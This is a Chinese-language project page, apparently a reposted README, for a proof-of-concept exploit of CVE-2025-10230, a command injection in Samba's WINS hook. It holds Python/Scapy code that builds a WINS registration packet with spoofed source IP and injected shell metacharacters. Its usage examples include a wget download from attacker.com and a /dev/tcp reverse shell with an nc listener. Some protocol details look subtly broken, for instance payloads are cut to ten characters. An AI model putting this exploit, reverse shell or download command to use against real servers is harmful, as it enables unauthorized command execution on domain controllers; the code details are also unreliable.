CVE-2025-10230 - Samba WINS钩子命令注入漏洞PoC
项目标题与描述
Samba WINS命令注入漏洞验证工具
本项目提供了一个针对CVE-2025-10230漏洞的概念验证(PoC)实现。该漏洞存在于Samba的WINS钩子处理过程中,当Samba作为Active Directory域控制器并启用WINS支持时,未经验证的NetBIOS名称会被直接传递给系统shell,导致命令注入漏洞。
核心价值:
- 演示真实的WINS协议攻击向量
- 提供教育和安全测试工具
- 帮助安全团队验证其Samba部署的安全性
- 展示网络协议级别的漏洞利用技术
功能特性
核心功能
- WINS协议包构造:完整实现WINS名称注册请求数据包构造
- 命令注入载荷:支持自定义shell命令注入
- IP地址欺骗:允许设置伪造的源IP地址
- Scapy集成:使用Scapy库进行底层网络包操作
- 详细日志输出:提供完整的攻击过程反馈
技术特点
- 基于RFC 1002的WINS协议实现
- 支持NetBIOS名称编码和压缩
- 正确处理UDP/42端口(WINS服务端口)
- 可调节的详细输出模式
- 跨平台兼容性(需要root权限)
独特价值
- 针对特定且危险的Samba配置场景
- 提供实际的漏洞利用演示而非理论分析
- 包含完整的协议层实现细节
安装指南
系统要求
- Python 3.6+
- 类Unix操作系统(Linux, macOS)
- Root权限(用于原始套接字访问)
依赖安装
# 安装Scapy库
pip install scapy# 或者使用系统包管理器
# Ubuntu/Debian
sudo apt-get install python3-scapy# RHEL/CentOS
sudo yum install python3-scapy
快速安装
# 克隆或下载脚本
git clone <repository-url>
cd <project-directory># 设置执行权限
chmod +x CVE-2025-10230.py# 验证安装
sudo python3 CVE-2025-10230.py --help
注意事项
- 权限要求:必须使用sudo或root权限运行,因为需要原始套接字访问
- 网络接口:脚本默认使用eth0接口,可能需要根据实际环境调整
- 目标环境:仅用于测试授权的实验室环境
- 法律合规:确保遵守当地法律法规和测试授权
使用说明
基础用法
# 基本攻击命令
sudo python3 CVE-2025-10230.py <目标IP地址># 示例:攻击192.168.1.10
sudo python3 CVE-2025-10230.py 192.168.1.10
高级选项
# 自定义命令注入载荷
sudo python3 CVE-2025-10230.py 192.168.1.10 \--payload "; wget http://attacker.com/shell.sh -O /tmp/shell.sh"# 指定源IP地址(IP欺骗)
sudo python3 CVE-2025-10230.py 192.168.1.10 \--src_ip 192.168.1.50# 启用详细输出模式
sudo python3 CVE-2025-10230.py 192.168.1.10 -v# 组合使用所有选项
sudo python3 CVE-2025-10230.py 192.168.1.10 \--payload "; id > /tmp/exploited.txt" \--src_ip 10.0.0.100 \--verbose
典型使用场景
场景1:快速漏洞验证
# 使用默认载荷验证漏洞
sudo python3 CVE-2025-10230.py 192.168.1.100
# 在目标服务器检查文件
ssh admin@192.168.1.100 "cat /tmp/injected_by_cve.txt"
场景2:自定义反向shell
# 设置监听器
nc -lvnp 4444# 发送反向shell载荷
sudo python3 CVE-2025-10230.py 192.168.1.100 \--payload "; bash -i >& /dev/tcp/192.168.1.50/4444 0>&1"
场景3:信息收集
# 收集系统信息
sudo python3 CVE-2025-10230.py 192.168.1.100 \--payload "; uname -a > /tmp/sysinfo.txt && \whoami >> /tmp/sysinfo.txt"
API概览
脚本通过命令行参数提供以下功能接口:
| 参数 | 缩写 | 描述 | 默认值 |
|---|---|---|---|
target_ip |
- | 目标Samba服务器IP地址 | 必需 |
--payload |
- | 要注入的shell命令 | ; id > /tmp/injected_by_cve.txt 2>&1 |
--src_ip |
- | 伪造的源IP地址 | 192.168.1.100 |
--verbose |
-v |
启用详细输出模式 | False |
核心代码
1. 主函数入口点
def main():parser = argparse.ArgumentParser(description="CVE-2025-10230 PoC - Samba WINS Injection")parser.add_argument("target_ip", help="IP of vulnerable Samba AD DC")parser.add_argument("--payload", default="; id > /tmp/injected_by_cve.txt 2>&1", help="Shell command to inject (appended after fake NB name)")parser.add_argument("--src_ip", default="192.168.1.100", help="Spoofed source IP in packet")parser.add_argument("--verbose", "-v", action="store_true", help="Verbose Scapy output")args = parser.parse_args()# 构造恶意NetBIOS名称:合法前缀 + 载荷fake_nb = "POC-" # 看起来合法的前缀malicious_name = fake_nb + args.payload[:10] # 截断以适应~15字符限制print(f":fire: CVE-2025-10230 PoC Launching...")print(f":bullseye: Target: {args.target_ip} (UDP/42 - WINS)")print(f":syringe: Malicious NB Name: '{malicious_name}'")print(f":memo: Expected on Target: Execution of '{args.payload}' via hook script")print(f":detective: Post-exploit: Check target /tmp/injected_by_cve.txt or /var/log/samba/log.smbd")print("-" * 60)try:# 构造并发送恶意数据包pkt = craft_wins_registration_packet(malicious_name, args.src_ip, args.target_ip)send(pkt, verbose=args.verbose, iface="eth0") # 可能需要调整接口print(":collision: Packet sent! If vulnerable, hook should fire. Monitor target logs/FS. :police_car_light:")except Exception as e:print(f":cross_mark: Error sending packet: {e}")sys.exit(1)if __name__ == "__main__":if len(sys.argv) < 2:print("Usage: sudo python3 CVE-2025-10230.py <target_ip> [--payload ';cmd']")sys.exit(1)main()
2. WINS数据包构造函数
def craft_wins_registration_packet(nb_name: str, src_ip: str = "127.0.0.1", target_ip: str = None):"""构造包含注入NB名称的WINS名称注册请求数据包。WINS协议(符合RFC 1002标准,为注册简化)。OpCode: 0x0B(注册)NB名称:填充到15字符+空值,但通过尾随元字符注入。参数:nb_name: 要注入的NetBIOS名称(包含恶意命令)src_ip: 伪造的源IP地址target_ip: 目标Samba服务器IP地址返回:完整的Scapy数据包对象"""# 事务ID(任意值)transaction_id = struct.pack('>H', 0x1234)# 标志位:标准查询(0x0000),OpCode注册(0x0B在高位,但简化处理)flags = struct.pack('>H', 0x000B) # B节点,注册# 问题数:1questions = struct.pack('>H', 1)# 应答RR数:0answer_rrs = struct.pack('>H', 0)# 权威RR数:0authority_rrs = struct.pack('>H', 0)# 附加RR数:0additional_rrs = struct.pack('>H', 0)# 头部组装header = transaction_id + flags + questions + answer_rrs + authority_rrs + additional_rrs# 问题部分:NetBIOS名称# NB名称编码:18个0xC0字符(标签)+ 长度 + 名称字符# 针对漏洞:使用包含shell字符的原始字符串 - 漏洞不会验证nb_raw = nb_name.encode('ascii')[:15].ljust(15, b'\x00') # 截断/填充到15字符nb_section = b'\xC0' * 2 + struct.pack('B', len(nb_raw)) + nb_raw + b'\x00' # 压缩指针技巧 + 名称# QType: NB (0x0020), QClass: IN (0x0001)qtype = struct.pack('>H', 0x0020)qclass = struct.pack('>H', 0x0001)# 问题部分组装question = nb_section + qtype + qclass# 注册请求没有应答部分packet_payload = header + question# 包装到UDP/IP层ip_layer = IP_scapy(src=src_ip, dst=target_ip)udp_layer = UDP(sport=137, dport=42) # NBNS源端口,WINS目标端口(UDP/42为WINS端口)full_packet = ip_layer / udp_layer / Raw(load=packet_payload)return full_packet
3. 漏洞利用逻辑
# 在main函数中的关键部分:
# 构造恶意NetBIOS名称:合法前缀 + 载荷
fake_nb = "POC-" # 看起来合法的前缀
malicious_name = fake_nb + args.payload[:10] # 截断以适应~15字符限制# 漏洞利用的核心在于:
# 1. WINS钩子脚本会接收NetBIOS名称作为参数
# 2. 名称直接传递给系统shell而没有适当清理
# 3. 分号等shell元字符允许执行任意命令# 攻击数据包发送
pkt = craft_wins_registration_packet(malicious_name, args.src_ip, args.target_ip)
send(pkt, verbose=args.verbose, iface="eth0")
4. 程序头部注释和说明
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PoC for CVE-2025-10230 - Samba WINS Hook Command Injection
===========================================================此脚本演示了在Samba的WINS钩子处理中的命令注入漏洞,
当Samba作为AD域控制器运行并启用WINS支持时。用法:python3 CVE-2025-10230.py <target_ip> [--payload <cmd>] [--verbose]要求:- scapy (pip install scapy)- 以root/sudo权限运行以获得原始套接字访问漏洞详情:WINS注册中的未清理NetBIOS名称被传递给'wins hook'脚本,允许通过shell元字符进行命令注入。作者:dptsec(基于Samba安全公告)
许可证:仅用于教育/测试目的。
:warning: 请勿在生产系统上使用!
"""
这些核心代码展示了完整的漏洞利用链,从数据包构造到实际攻击执行的完整流程。代码结构清晰,注释详细,便于理解和修改用于合法的安全测试目的。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcANeiTtN5BtCTpfUQ44YS8cf
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
公众号二维码

公众号二维码
